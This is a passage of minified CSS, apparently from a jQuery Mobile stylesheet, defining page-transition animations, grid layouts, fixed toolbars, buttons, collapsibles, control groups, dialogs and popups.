slideouttotop{from{transform:translateY(0)}to{transform:translateY(-100%)}}.slideup.out{-webkit-animation-name:fadeout;-webkit-animation-duration:100ms;-moz-animation-name:fadeout;-moz-animation-duration:100ms;animation-name:fadeout;animation-duration:100ms}.slideup.in{-webkit-transform:translateY(0);-webkit-animation-name:slideinfrombottom;-webkit-animation-duration:250ms;-moz-transform:translateY(0);-moz-animation-name:slideinfrombottom;-moz-animation-duration:250ms;transform:translateY(0);animation-name:slideinfrombottom;animation-duration:250ms}.slideup.in.reverse{-webkit-animation-name:fadein;-webkit-animation-duration:150ms;-moz-animation-name:fadein;-moz-animation-duration:150ms;animation-name:fadein;animation-duration:150ms}.slideup.out.reverse{-webkit-transform:translateY(100%);-webkit-animation-name:slideouttobottom;-webkit-animation-duration:200ms;-moz-transform:translateY(100%);-moz-animation-name:slideouttobottom;-moz-animation-duration:200ms;transform:translateY(100%);animation-name:slideouttobottom;animation-duration:200ms}@-webkit-keyframes slideinfrombottom{from{-webkit-transform:translateY(100%)}to{-webkit-transform:translateY(0)}}@-moz-keyframes slideinfrombottom{from{-moz-transform:translateY(100%)}to{-moz-transform:translateY(0)}}@keyframes slideinfrombottom{from{transform:translateY(100%)}to{transform:translateY(0)}}@-webkit-keyframes slideouttobottom{from{-webkit-transform:translateY(0)}to{-webkit-transform:translateY(100%)}}@-moz-keyframes slideouttobottom{from{-moz-transform:translateY(0)}to{-moz-transform:translateY(100%)}}@keyframes slideouttobottom{from{transform:translateY(0)}to{transform:translateY(100%)}}.viewport-flip{-webkit-perspective:1000;-moz-perspective:1000;perspective:1000;position:absolute}.flip{-webkit-backface-visibility:hidden;-webkit-transform:translateX(0);-moz-backface-visibility:hidden;-moz-transform:translateX(0);backface-visibility:hidden;transform:translateX(0)}.flip.out{-webkit-transform:rotateY(-90deg) scale(.9);-webkit-animation-name:flipouttoleft;-webkit-animation-duration:175ms;-moz-transform:rotateY(-90deg) scale(.9);-moz-animation-name:flipouttoleft;-moz-animation-duration:175ms;transform:rotateY(-90deg) scale(.9);animation-name:flipouttoleft;animation-duration:175ms}.flip.in{-webkit-animation-name:flipintoright;-webkit-animation-duration:225ms;-moz-animation-name:flipintoright;-moz-animation-duration:225ms;animation-name:flipintoright;animation-duration:225ms}.flip.out.reverse{-webkit-transform:rotateY(90deg) scale(.9);-webkit-animation-name:flipouttoright;-moz-transform:rotateY(90deg) scale(.9);-moz-animation-name:flipouttoright;transform:rotateY(90deg) scale(.9);animation-name:flipouttoright}.flip.in.reverse{-webkit-animation-name:flipintoleft;-moz-animation-name:flipintoleft;animation-name:flipintoleft}@-webkit-keyframes flipouttoleft{from{-webkit-transform:rotateY(0)}to{-webkit-transform:rotateY(-90deg) scale(.9)}}@-moz-keyframes flipouttoleft{from{-moz-transform:rotateY(0)}to{-moz-transform:rotateY(-90deg) scale(.9)}}@keyframes flipouttoleft{from{transform:rotateY(0)}to{transform:rotateY(-90deg) scale(.9)}}@-webkit-keyframes flipouttoright{from{-webkit-transform:rotateY(0)}to{-webkit-transform:rotateY(90deg) scale(.9)}}@-moz-keyframes flipouttoright{from{-moz-transform:rotateY(0)}to{-moz-transform:rotateY(90deg) scale(.9)}}@keyframes flipouttoright{from{transform:rotateY(0)}to{transform:rotateY(90deg) scale(.9)}}@-webkit-keyframes flipintoleft{from{-webkit-transform:rotateY(-90deg) scale(.9)}to{-webkit-transform:rotateY(0)}}@-moz-keyframes flipintoleft{from{-moz-transform:rotateY(-90deg) scale(.9)}to{-moz-transform:rotateY(0)}}@keyframes flipintoleft{from{transform:rotateY(-90deg) scale(.9)}to{transform:rotateY(0)}}@-webkit-keyframes flipintoright{from{-webkit-transform:rotateY(90deg) scale(.9)}to{-webkit-transform:rotateY(0)}}@-moz-keyframes flipintoright{from{-moz-transform:rotateY(90deg) scale(.9)}to{-moz-transform:rotateY(0)}}@keyframes flipintoright{from{transform:rotateY(90deg) scale(.9)}to{transform:rotateY(0)}}.viewport-turn{-webkit-perspective:200px;-moz-perspective:200px;-ms-perspective:200px;perspective:200px;position:absolute}.turn{-webkit-backface-visibility:hidden;-webkit-transform:translateX(0);-webkit-transform-origin:0;-moz-backface-visibility:hidden;-moz-transform:translateX(0);-moz-transform-origin:0;backface-visibility:hidden;transform:translateX(0);transform-origin:0}.turn.out{-webkit-transform:rotateY(-90deg) scale(.9);-webkit-animation-name:flipouttoleft;-webkit-animation-duration:125ms;-moz-transform:rotateY(-90deg) scale(.9);-moz-animation-name:flipouttoleft;-moz-animation-duration:125ms;transform:rotateY(-90deg) scale(.9);animation-name:flipouttoleft;animation-duration:125ms}.turn.in{-webkit-animation-name:flipintoright;-webkit-animation-duration:250ms;-moz-animation-name:flipintoright;-moz-animation-duration:250ms;animation-name:flipintoright;animation-duration:250ms}.turn.out.reverse{-webkit-transform:rotateY(90deg) scale(.9);-webkit-animation-name:flipouttoright;-moz-transform:rotateY(90deg) scale(.9);-moz-animation-name:flipouttoright;transform:rotateY(90deg) scale(.9);animation-name:flipouttoright}.turn.in.reverse{-webkit-animation-name:flipintoleft;-moz-animation-name:flipintoleft;animation-name:flipintoleft}@-webkit-keyframes flipouttoleft{from{-webkit-transform:rotateY(0)}to{-webkit-transform:rotateY(-90deg) scale(.9)}}@-moz-keyframes flipouttoleft{from{-moz-transform:rotateY(0)}to{-moz-transform:rotateY(-90deg) scale(.9)}}@keyframes flipouttoleft{from{transform:rotateY(0)}to{transform:rotateY(-90deg) scale(.9)}}@-webkit-keyframes flipouttoright{from{-webkit-transform:rotateY(0)}to{-webkit-transform:rotateY(90deg) scale(.9)}}@-moz-keyframes flipouttoright{from{-moz-transform:rotateY(0)}to{-moz-transform:rotateY(90deg) scale(.9)}}@keyframes flipouttoright{from{transform:rotateY(0)}to{transform:rotateY(90deg) scale(.9)}}@-webkit-keyframes flipintoleft{from{-webkit-transform:rotateY(-90deg) scale(.9)}to{-webkit-transform:rotateY(0)}}@-moz-keyframes flipintoleft{from{-moz-transform:rotateY(-90deg) scale(.9)}to{-moz-transform:rotateY(0)}}@keyframes flipintoleft{from{transform:rotateY(-90deg) scale(.9)}to{transform:rotateY(0)}}@-webkit-keyframes flipintoright{from{-webkit-transform:rotateY(90deg) scale(.9)}to{-webkit-transform:rotateY(0)}}@-moz-keyframes flipintoright{from{-moz-transform:rotateY(90deg) scale(.9)}to{-moz-transform:rotateY(0)}}@keyframes flipintoright{from{transform:rotateY(90deg) scale(.9)}to{transform:rotateY(0)}}.flow{-webkit-transform-origin:50% 30%;-webkit-box-shadow:0 0 20px rgba(0,0,0,.4);-moz-transform-origin:50% 30%;-moz-box-shadow:0 0 20px rgba(0,0,0,.4);transform-origin:50% 30%;box-shadow:0 0 20px rgba(0,0,0,.4)}.ui-dialog.flow{-webkit-transform-origin:none;-webkit-box-shadow:none;-moz-transform-origin:none;-moz-box-shadow:none;transform-origin:none;box-shadow:none}.flow.out{-webkit-transform:translateX(-100%) scale(.7);-webkit-animation-name:flowouttoleft;-webkit-animation-timing-function:ease;-webkit-animation-duration:350ms;-moz-transform:translateX(-100%) scale(.7);-moz-animation-name:flowouttoleft;-moz-animation-timing-function:ease;-moz-animation-duration:350ms;transform:translateX(-100%) scale(.7);animation-name:flowouttoleft;animation-timing-function:ease;animation-duration:350ms}.flow.in{-webkit-transform:translateX(0) scale(1);-webkit-animation-name:flowinfromright;-webkit-animation-timing-function:ease;-webkit-animation-duration:350ms;-moz-transform:translateX(0) scale(1);-moz-animation-name:flowinfromright;-moz-animation-timing-function:ease;-moz-animation-duration:350ms;transform:translateX(0) scale(1);animation-name:flowinfromright;animation-timing-function:ease;animation-duration:350ms}.flow.out.reverse{-webkit-transform:translateX(100%);-webkit-animation-name:flowouttoright;-moz-transform:translateX(100%);-moz-animation-name:flowouttoright;transform:translateX(100%);animation-name:flowouttoright}.flow.in.reverse{-webkit-animation-name:flowinfromleft;-moz-animation-name:flowinfromleft;animation-name:flowinfromleft}@-webkit-keyframes flowouttoleft{0%{-webkit-transform:translateX(0) scale(1)}60%,70%{-webkit-transform:translateX(0) scale(.7)}100%{-webkit-transform:translateX(-100%) scale(.7)}}@-moz-keyframes flowouttoleft{0%{-moz-transform:translateX(0) scale(1)}60%,70%{-moz-transform:translateX(0) scale(.7)}100%{-moz-transform:translateX(-100%) scale(.7)}}@keyframes flowouttoleft{0%{transform:translateX(0) scale(1)}60%,70%{transform:translateX(0) scale(.7)}100%{transform:translateX(-100%) scale(.7)}}@-webkit-keyframes flowouttoright{0%{-webkit-transform:translateX(0) scale(1)}60%,70%{-webkit-transform:translateX(0) scale(.7)}100%{-webkit-transform:translateX(100%) scale(.7)}}@-moz-keyframes flowouttoright{0%{-moz-transform:translateX(0) scale(1)}60%,70%{-moz-transform:translateX(0) scale(.7)}100%{-moz-transform:translateX(100%) scale(.7)}}@keyframes flowouttoright{0%{transform:translateX(0) scale(1)}60%,70%{transform:translateX(0) scale(.7)}100%{transform:translateX(100%) scale(.7)}}@-webkit-keyframes flowinfromleft{0%{-webkit-transform:translateX(-100%) scale(.7)}30%,40%{-webkit-transform:translateX(0) scale(.7)}100%{-webkit-transform:translateX(0) scale(1)}}@-moz-keyframes flowinfromleft{0%{-moz-transform:translateX(-100%) scale(.7)}30%,40%{-moz-transform:translateX(0) scale(.7)}100%{-moz-transform:translateX(0) scale(1)}}@keyframes flowinfromleft{0%{transform:translateX(-100%) scale(.7)}30%,40%{transform:translateX(0) scale(.7)}100%{transform:translateX(0) scale(1)}}@-webkit-keyframes flowinfromright{0%{-webkit-transform:translateX(100%) scale(.7)}30%,40%{-webkit-transform:translateX(0) scale(.7)}100%{-webkit-transform:translateX(0) scale(1)}}@-moz-keyframes flowinfromright{0%{-moz-transform:translateX(100%) scale(.7)}30%,40%{-moz-transform:translateX(0) scale(.7)}100%{-moz-transform:translateX(0) scale(1)}}@keyframes flowinfromright{0%{transform:translateX(100%) scale(.7)}30%,40%{transform:translateX(0) scale(.7)}100%{transform:translateX(0) scale(1)}}.ui-grid-a,.ui-grid-b,.ui-grid-c,.ui-grid-d{overflow:hidden}.ui-block-a,.ui-block-b,.ui-block-c,.ui-block-d,.ui-block-e{margin:0;padding:0;border:0;float:left;min-height:1px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}.ui-grid-solo .ui-block-a{display:block;float:none}.ui-grid-a .ui-block-a,.ui-grid-a .ui-block-b{width:49.95%!important}.ui-grid-a >:nth-child(n){/*width:50%;margin-right:-.5px*/}.ui-grid-a .ui-block-a{clear:left}.ui-grid-b .ui-block-a,.ui-grid-b .ui-block-b,.ui-grid-b .ui-block-c{width:33.25%}.ui-grid-b >:nth-child(n){width:33.333%;margin-right:-.5px}.ui-grid-b .ui-block-a{clear:left}.ui-grid-c .ui-block-a,.ui-grid-c .ui-block-b,.ui-grid-c .ui-block-c,.ui-grid-c .ui-block-d{width:24.925%}.ui-grid-c >:nth-child(n){width:25%;margin-right:-.5px}.ui-grid-c .ui-block-a{clear:left}.ui-grid-d .ui-block-a,.ui-grid-d .ui-block-b,.ui-grid-d .ui-block-c,.ui-grid-d .ui-block-d,.ui-grid-d .ui-block-e{width:19.925%}.ui-grid-d >:nth-child(n){width:20%}.ui-grid-d .ui-block-a{clear:left}@media all and (max-width:35em){.ui-responsive .ui-block-a,.ui-responsive .ui-block-b,.ui-responsive .ui-block-c,.ui-responsive .ui-block-d,.ui-responsive .ui-block-e{width:100%;float:none}}.ui-header-fixed,.ui-footer-fixed{left:0;right:0;width:100%;position:fixed;z-index:1000}.ui-header-fixed{top:-1px;padding-top:1px}.ui-header-fixed.ui-fixed-hidden{top:0;padding-top:0}.ui-footer-fixed{bottom:-1px;padding-bottom:1px}.ui-footer-fixed.ui-fixed-hidden{bottom:0;padding-bottom:0}.ui-header-fullscreen,.ui-footer-fullscreen{filter:Alpha(Opacity=90);opacity:.9}.ui-page-header-fixed{padding-top:2.6875em}.ui-page-footer-fixed{padding-bottom:2.6875em}.ui-page-header-fullscreen > .ui-content,.ui-page-footer-fullscreen > .ui-content{padding:0}.ui-fixed-hidden{position:absolute}.ui-page-header-fullscreen .ui-fixed-hidden,.ui-page-footer-fullscreen .ui-fixed-hidden{left:-9999px}.ui-header-fixed .ui-btn,.ui-footer-fixed .ui-btn{z-index:10}.ui-android-2x-fixed .ui-li-has-thumb{-webkit-transform:translate3d(0,0,0)}.ui-navbar{max-width:100%}.ui-navbar.ui-mini{margin:0}.ui-navbar ul:before,.ui-navbar ul:after{content:" ";display:table}.ui-navbar ul:after{clear:both}.ui-navbar ul{list-style:none;margin:0;padding:0;position:relative;display:block;border:0;max-width:100%;overflow:visible;zoom:1}.ui-navbar li .ui-btn{display:block;text-align:center;margin:0 -1px 0 0;border-right-width:0}.ui-navbar li .ui-btn-icon-right .ui-icon{right:6px}.ui-navbar li:last-child .ui-btn,.ui-navbar .ui-grid-duo .ui-block-b .ui-btn{margin-right:0;border-right-width:1px}.ui-header .ui-navbar li:last-child .ui-btn,.ui-footer .ui-navbar li:last-child .ui-btn,.ui-header .ui-navbar .ui-grid-duo .ui-block-b .ui-btn,.ui-footer .ui-navbar .ui-grid-duo .ui-block-b .ui-btn{margin-right:-1px;border-right-width:0}.ui-navbar .ui-grid-duo li.ui-block-a:last-child .ui-btn{margin-right:-1px;border-right-width:1px}.ui-header .ui-navbar li .ui-btn,.ui-footer .ui-navbar li .ui-btn{border-top-width:0;border-bottom-width:0}.ui-header .ui-navbar .ui-grid-b li.ui-block-c .ui-btn,.ui-footer .ui-navbar .ui-grid-b li.ui-block-c .ui-btn{margin-right:-5px}.ui-header .ui-navbar .ui-grid-c li.ui-block-d .ui-btn,.ui-footer .ui-navbar .ui-grid-c li.ui-block-d .ui-btn,.ui-header .ui-navbar .ui-grid-d li.ui-block-e .ui-btn,.ui-footer .ui-navbar .ui-grid-d li.ui-block-e .ui-btn{margin-right:-4px}.ui-header .ui-navbar .ui-grid-b li.ui-block-c .ui-btn-icon-right .ui-icon,.ui-footer .ui-navbar .ui-grid-b li.ui-block-c .ui-btn-icon-right .ui-icon,.ui-header .ui-navbar .ui-grid-c li.ui-block-d .ui-btn-icon-right .ui-icon,.ui-footer .ui-navbar .ui-grid-c li.ui-block-d .ui-btn-icon-right .ui-icon,.ui-header .ui-navbar .ui-grid-d li.ui-block-e .ui-btn-icon-right .ui-icon,.ui-footer .ui-navbar .ui-grid-d li.ui-block-e .ui-btn-icon-right .ui-icon{right:8px}.ui-navbar li .ui-btn .ui-btn-inner{padding-top:.7em;padding-bottom:.8em}.ui-navbar li .ui-btn-icon-top .ui-btn-inner{padding-top:30px}.ui-navbar li .ui-btn-icon-bottom .ui-btn-inner{padding-bottom:30px}.ui-btn{display:block;text-align:center;cursor:pointer;position:relative;margin: 0;padding:0}.ui-mini{margin-top:.25em;margin-bottom:.25em}.ui-btn-left,.ui-btn-right,.ui-input-clear,.ui-btn-inline,.ui-grid-a .ui-btn,.ui-grid-b .ui-btn,.ui-grid-c .ui-btn,.ui-grid-d .ui-btn,.ui-grid-e .ui-btn,.ui-grid-solo .ui-btn{margin-right:5px;margin-left:5px}.ui-btn-inner{font-size:16px;padding:0 20px;height:33px;line-height:33px;margin:0;min-width:.75em;display:block;position:relative;text-overflow:ellipsis;overflow:hidden;white-space:nowrap;zoom:1;font-weight:normal;}.ui-btn input,.ui-btn button{z-index:2}.ui-btn-left,.ui-btn-right,.ui-btn-inline{display:inline-block;vertical-align:middle}.ui-mobile .ui-btn-left,.ui-mobile .ui-btn-right,.ui-btn-left > .ui-btn,.ui-btn-right > .ui-btn{margin:0}.ui-btn-block{display:block}.ui-header > .ui-btn,.ui-footer > .ui-btn{display:inline-block;margin:0}.ui-header .ui-btn-block,.ui-footer .ui-btn-block{display:block}.ui-header .ui-btn-inner,.ui-footer .ui-btn-inner,.ui-mini .ui-btn-inner{font-size:12.5px;padding:.55em 11px .5em}.ui-fullsize .ui-btn-inner,.ui-fullsize .ui-btn-inner{font-size:16px;padding:.6em 20px}.ui-btn-icon-notext{width:24px;height:24px}.ui-btn-icon-notext .ui-btn-inner{padding:0;height:100%}.ui-btn-icon-notext .ui-btn-inner .ui-icon{margin:2px 1px 2px 3px;float:left}.ui-btn-text{position:relative;z-index:1;width:100%;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none}div.ui-btn-text{width:auto}.ui-btn-icon-notext .ui-btn-text{position:absolute;left:-9999px}.ui-btn-icon-left .ui-btn-inner{padding-left:40px}.ui-btn-icon-right .ui-btn-inner{padding-right:40px}.ui-btn-icon-top .ui-btn-inner{padding-top:40px}.ui-btn-icon-bottom .ui-btn-inner{padding-bottom:40px}.ui-header .ui-btn-icon-left .ui-btn-inner,.ui-footer .ui-btn-icon-left .ui-btn-inner,.ui-mini.ui-btn-icon-left .ui-btn-inner,.ui-mini .ui-btn-icon-left .ui-btn-inner{padding-left:30px}.ui-header .ui-btn-icon-right .ui-btn-inner,.ui-footer .ui-btn-icon-right .ui-btn-inner,.ui-mini.ui-btn-icon-right .ui-btn-inner,.ui-mini .ui-btn-icon-right .ui-btn-inner{padding-right:30px}.ui-header .ui-btn-icon-top .ui-btn-inner,.ui-footer .ui-btn-icon-top .ui-btn-inner{padding:30px 3px .5em 3px}.ui-mini.ui-btn-icon-top .ui-btn-inner,.ui-mini .ui-btn-icon-top .ui-btn-inner{padding-top:30px}.ui-header .ui-btn-icon-bottom .ui-btn-inner,.ui-footer .ui-btn-icon-bottom .ui-btn-inner{padding:.55em 3px 30px 3px}.ui-mini.ui-btn-icon-bottom .ui-btn-inner,.ui-mini .ui-btn-icon-bottom .ui-btn-inner{padding-bottom:30px}.ui-btn-inner,.ui-btn-text{-webkit-border-radius:inherit;border-radius:inherit}.ui-btn-icon-notext .ui-icon{display:block;z-index:0}.ui-btn-icon-left > .ui-btn-inner > .ui-icon,.ui-btn-icon-right > .ui-btn-inner > .ui-icon{position:absolute;top:50%;margin-top:-9px}.ui-btn-icon-top .ui-btn-inner .ui-icon,.ui-btn-icon-bottom .ui-btn-inner .ui-icon{position:absolute;left:50%;margin-left:-9px}.ui-btn-icon-left .ui-icon{left:10px}.ui-btn-icon-right .ui-icon{right:10px}.ui-btn-icon-top .ui-icon{top:10px}.ui-btn-icon-bottom .ui-icon{top:auto;bottom:10px}.ui-header .ui-btn-icon-left .ui-icon,.ui-footer .ui-btn-icon-left .ui-icon,.ui-mini.ui-btn-icon-left .ui-icon,.ui-mini .ui-btn-icon-left .ui-icon{left:5px}.ui-header .ui-btn-icon-right .ui-icon,.ui-footer .ui-btn-icon-right .ui-icon,.ui-mini.ui-btn-icon-right .ui-icon,.ui-mini .ui-btn-icon-right .ui-icon{right:5px}.ui-header .ui-btn-icon-top .ui-icon,.ui-footer .ui-btn-icon-top .ui-icon,.ui-mini.ui-btn-icon-top .ui-icon,.ui-mini .ui-btn-icon-top .ui-icon{top:5px}.ui-header .ui-btn-icon-bottom .ui-icon,.ui-footer .ui-btn-icon-bottom .ui-icon,.ui-mini.ui-btn-icon-bottom .ui-icon,.ui-mini .ui-btn-icon-bottom .ui-icon{bottom:5px}.ui-btn-hidden{position:absolute;top:0;left:0;width:100%;height:100%;-webkit-appearance:none;cursor:pointer;background:#fff;background:rgba(255,255,255,0);filter:Alpha(Opacity=0);opacity:.1;font-size:1px;border:none;text-indent:-9999px}.ui-disabled .ui-btn-hidden{display:none}.ui-disabled{z-index:1}.ui-field-contain .ui-btn.ui-submit{margin:0}label.ui-submit{font-size:16px;line-height:1.4;font-weight:normal;margin:0 0 .3em;display:block}@media all and (min-width:28em){.ui-field-contain label.ui-submit{vertical-align:top;display:inline-block;width:20%;margin:0 2% 0 0}.ui-field-contain .ui-btn.ui-submit{width:78%;display:inline-block;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}.ui-hide-label .ui-btn.ui-submit{width:auto;display:block}}.ui-collapsible-inset{margin:.5em 0}.ui-collapsible-heading{font-size:16px;display:block;margin:0 -15px;padding:0;position:relative}.ui-collapsible-inset .ui-collapsible-heading{margin:0}.ui-collapsible-heading .ui-btn{text-align:left;margin:0;border-left-width:0;border-right-width:0}.ui-collapsible-inset .ui-collapsible-heading .ui-btn{border-right-width:1px;border-left-width:1px}.ui-collapsible-collapsed + .ui-collapsible:not(.ui-collapsible-inset) .ui-collapsible-heading .ui-btn{border-top-width:0}.ui-collapsible-set .ui-collapsible:not(.ui-collapsible-inset) .ui-collapsible-heading .ui-btn{border-top-width:1px}.ui-collapsible-heading .ui-btn-inner{padding-left:12px;padding-right:12px}.ui-collapsible-heading .ui-btn-icon-left .ui-btn-inner{padding-left:40px}.ui-collapsible-heading .ui-btn-icon-right .ui-btn-inner{padding-right:40px}.ui-collapsible-heading .ui-btn-icon-top .ui-btn-inner,.ui-collapsible-heading .ui-btn-icon-bottom .ui-btn-inner{text-align:center}.ui-collapsible-heading .ui-btn-icon-left.ui-mini .ui-btn-inner{padding-left:30px}.ui-collapsible-heading .ui-btn-icon-right.ui-mini .ui-btn-inner{padding-right:30px}.ui-collapsible-heading .ui-btn span.ui-btn{position:absolute;left:6px;top:50%;margin:-12px 0 0 0;width:20px;height:20px;padding:1px 0 1px 2px;text-indent:-9999px}.ui-collapsible-heading .ui-btn span.ui-btn .ui-btn-inner{padding:10px 0}.ui-collapsible-heading .ui-btn span.ui-btn .ui-icon{left:0;margin-top:-10px}.ui-collapsible-heading-status{position:absolute;top:-9999px;left:0}.ui-collapsible-content{display:block;margin:0 -15px;padding:10px 15px;border-left-width:0;border-right-width:0;border-top:none;background-image:none}.ui-collapsible-inset .ui-collapsible-content{margin:0;border-right-width:1px;border-left-width:1px}.ui-collapsible-content-collapsed{display:none}.ui-collapsible-set > .ui-collapsible.ui-corner-all{-webkit-border-radius:0;border-radius:0}.ui-collapsible-heading,.ui-collapsible-heading > .ui-btn{-webkit-border-radius:inherit;border-radius:inherit}.ui-collapsible-set .ui-collapsible.ui-first-child{-webkit-border-top-right-radius:inherit;border-top-right-radius:inherit;-webkit-border-top-left-radius:inherit;border-top-left-radius:inherit}.ui-collapsible-content,.ui-collapsible-set .ui-collapsible.ui-last-child{-webkit-border-bottom-right-radius:inherit;border-bottom-right-radius:inherit;-webkit-border-bottom-left-radius:inherit;border-bottom-left-radius:inherit}.ui-collapsible-themed-content:not(.ui-collapsible-collapsed) > .ui-collapsible-heading{-webkit-border-bottom-right-radius:0;border-bottom-right-radius:0;-webkit-border-bottom-left-radius:0;border-bottom-left-radius:0}.ui-collapsible-set{margin:.5em 0}.ui-collapsible-set .ui-collapsible{margin:-1px 0 0}.ui-collapsible-set .ui-collapsible.ui-first-child{margin-top:0}.ui-controlgroup,fieldset.ui-controlgroup{padding:0;margin:.5em 0;zoom:1}.ui-controlgroup.ui-mini,fieldset.ui-controlgroup.ui-mini{margin:.25em 0}.ui-field-contain .ui-controlgroup,.ui-field-contain fieldset.ui-controlgroup{margin:0}.ui-bar .ui-controlgroup{margin:0 5px}.ui-controlgroup-label{font-size:16px;line-height:1.4;font-weight:normal;margin:0 0 .4em}.ui-controlgroup-controls label.ui-select,.ui-controlgroup-controls label.ui-submit{position:absolute;left:-9999px}.ui-controlgroup li{list-style:none}.ui-controlgroup .ui-btn{margin:0}.ui-controlgroup .ui-btn-icon-notext{width:auto;height:auto;top:auto}.ui-controlgroup .ui-btn-icon-notext .ui-btn-inner{height:20px;padding:.6em 20px .6em 20px}.ui-controlgroup-horizontal .ui-btn-icon-notext .ui-btn-inner{width:18px}.ui-controlgroup.ui-mini .ui-btn-icon-notext .ui-btn-inner,.ui-header .ui-controlgroup .ui-btn-icon-notext .ui-btn-inner,.ui-footer .ui-controlgroup .ui-btn-icon-notext .ui-btn-inner{height:16px;padding:.55em 11px .5em 11px}.ui-controlgroup .ui-btn-icon-notext .ui-btn-inner .ui-icon{position:absolute;top:50%;right:50%;margin:-9px -9px 0 0}.ui-controlgroup-horizontal .ui-btn-inner{text-align:center}.ui-controlgroup-horizontal.ui-mini .ui-btn-inner{height:16px;line-height:16px}.ui-controlgroup .ui-checkbox label,.ui-controlgroup .ui-radio label{font-size:16px}.ui-controlgroup-horizontal .ui-controlgroup-controls:before,.ui-controlgroup-horizontal .ui-controlgroup-controls:after{content:"";display:table}.ui-controlgroup-horizontal .ui-controlgroup-controls:after{clear:both}.ui-controlgroup-horizontal .ui-controlgroup-controls{display:inline-block;vertical-align:middle;zoom:1}.ui-controlgroup-horizontal .ui-controlgroup-controls > .ui-btn,.ui-controlgroup-horizontal .ui-controlgroup-controls li > .ui-btn,.ui-controlgroup-horizontal .ui-checkbox,.ui-controlgroup-horizontal .ui-radio,.ui-controlgroup-horizontal .ui-select{float:left;clear:none;margin:0}.ui-controlgroup-horizontal .ui-select .ui-btn-text{width:auto}.ui-controlgroup-vertical .ui-btn{border-bottom-width:0}.ui-controlgroup-vertical .ui-btn.ui-last-child{border-bottom-width:1px}.ui-controlgroup-horizontal .ui-btn{border-right-width:0}.ui-controlgroup-horizontal .ui-btn.ui-last-child{border-right-width:1px}.ui-controlgroup .ui-btn-corner-all{-webkit-border-radius:0;border-radius:0}.ui-controlgroup .ui-controlgroup-controls,.ui-controlgroup .ui-radio,.ui-controlgroup .ui-checkbox,.ui-controlgroup .ui-select,.ui-controlgroup li{-webkit-border-radius:inherit;border-radius:inherit}.ui-controlgroup-vertical .ui-btn.ui-first-child{-webkit-border-top-left-radius:inherit;border-top-left-radius:inherit;-webkit-border-top-right-radius:inherit;border-top-right-radius:inherit}.ui-controlgroup-vertical .ui-btn.ui-last-child{-webkit-border-bottom-left-radius:inherit;border-bottom-left-radius:inherit;-webkit-border-bottom-right-radius:inherit;border-bottom-right-radius:inherit}.ui-controlgroup-horizontal .ui-btn.ui-first-child{-webkit-border-top-left-radius:inherit;border-top-left-radius:inherit;-webkit-border-bottom-left-radius:inherit;border-bottom-left-radius:inherit}.ui-controlgroup-horizontal .ui-btn.ui-last-child{-webkit-border-top-right-radius:inherit;border-top-right-radius:inherit;-webkit-border-bottom-right-radius:inherit;border-bottom-right-radius:inherit}.ui-controlgroup .ui-shadow:not(.ui-focus){-moz-box-shadow:none;-webkit-box-shadow:none;box-shadow:none}@media all and (min-width:28em){.ui-field-contain .ui-controlgroup-label{vertical-align:top;display:inline-block;width:20%;margin:0 2% 0 0}.ui-field-contain .ui-controlgroup-controls{width:78%;display:inline-block}.ui-field-contain .ui-controlgroup .ui-select{width:100%;display:block}.ui-field-contain .ui-controlgroup-horizontal .ui-select{width:auto}.ui-hide-label .ui-controlgroup-controls{width:100%}}.ui-dialog{background:none!important}.ui-dialog-contain{width:92.5%;max-width:500px;margin:10% auto 15px auto;padding:0;position:relative;top:-15px}.ui-dialog-contain > .ui-header,.ui-dialog-contain > .ui-content,.ui-dialog-contain > .ui-footer{display:block;position:relative;width:auto;margin:0}.ui-dialog-contain > .ui-header{border:none;overflow:hidden;z-index:10;padding:0}.ui-dialog-contain > .ui-content{padding:15px}.ui-dialog-contain > .ui-footer{z-index:10;padding:0 15px}.ui-popup-open .ui-header-fixed,.ui-popup-open .ui-footer-fixed{position:absolute!important}.ui-popup-screen{background-image:url(data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==);top:0;left:0;right:0;bottom:1px;position:absolute;filter:Alpha(Opacity=0);opacity:0;z-index:1099}.ui-popup-screen.in{opacity:0.5;filter:Alpha(Opacity=50)}.ui-popup-screen.out{opacity:0;filter:Alpha(Opacity=0)}.ui-popup-container{z-index:1100;display:inline-block;position:absolute;padding:0;outline:0}.ui-popup{position:relative}.ui-popup.ui-content,.ui-popup .ui-content{overflow:visible}.ui-popup > p,.ui-popup > h1,.ui-popup > h2,.ui-popup > h3,.ui-popup > h4,.ui-popup > h5,.ui-popup > h6{margin:.5em 7px}.ui-popup > span{display:block;margin:.5em 7px}.ui-popup .ui-title{font-size:16px;font-weight:bold;margin-top:.5em;margin-bottom:.5em}.ui-popup-container .ui-content > p,.ui-popup-container .ui-content > h1,.ui-popup-container .ui-content > h2,.ui-popup-container .ui-content > h3,.ui-popup-container .ui-content > h4,.ui-popup-container .ui-content > h5,.ui-popup-container .ui-content > h6{margin:.5em 0}.ui-popup-container .ui-content > span{margin:0}.ui-popup-container .ui-content > p:first-child,.ui-popup-container .ui-content > h1:first-child,.ui-popup-container .ui-content > h2:first-child,.ui-popup-container .ui-content > h3:first-child,.ui-popup-container .ui-content > h4:first-child,.ui-popup-container .ui-content > h5:first-child,.ui-popup-container .ui-content > h6:first-child{margin-top:0}.ui-popup-container .ui-content > p:last-child,.ui-popup-container .ui-content > h1:last-child,.ui-popup-container .ui-content > h2:last-child,.ui-popup-container .ui-content > h3:last-child,.ui-popup-container .ui-content > h4:last-child,.ui-popup-container .ui-content > h5:last-child,.ui-popup-container .ui-content > h6:last-child{margin-bottom:0}.ui-popup > img{width:auto;height:auto;max-width:100%;max-height:100%;vertical-align:middle}.ui-popup:not(.ui-content) > img:only-child,.ui-popup:not(.ui-content) > .ui-btn-left:first-child + img:last-child,.ui-popup:not(.ui-content) > .ui-btn-right:first-child + img:last-child{-webkit-border-radius:inherit;border-radius:inherit}.ui-popup iframe{vertical-align:middle}@media all and (min-width:28em){.ui-popup .ui-field-contain label.ui-submit,.ui-popup .ui-field-contain .ui-controlgroup-label,.ui-popup .ui-field-contain label.ui-select,.ui-popup .ui-field-contain label.ui-input-text{font-size:16px;line-height:1.4;display:block;font-weight:normal;margin:0 0 .3em}.ui-popup .ui-field-contain .ui-btn.ui-submit,.ui-popup .ui-field-contain .ui-controlgroup-controls,.ui-popup .ui-field-contain .ui-select,.ui-popup .ui-field-contain input.ui-input-text,.ui-popup 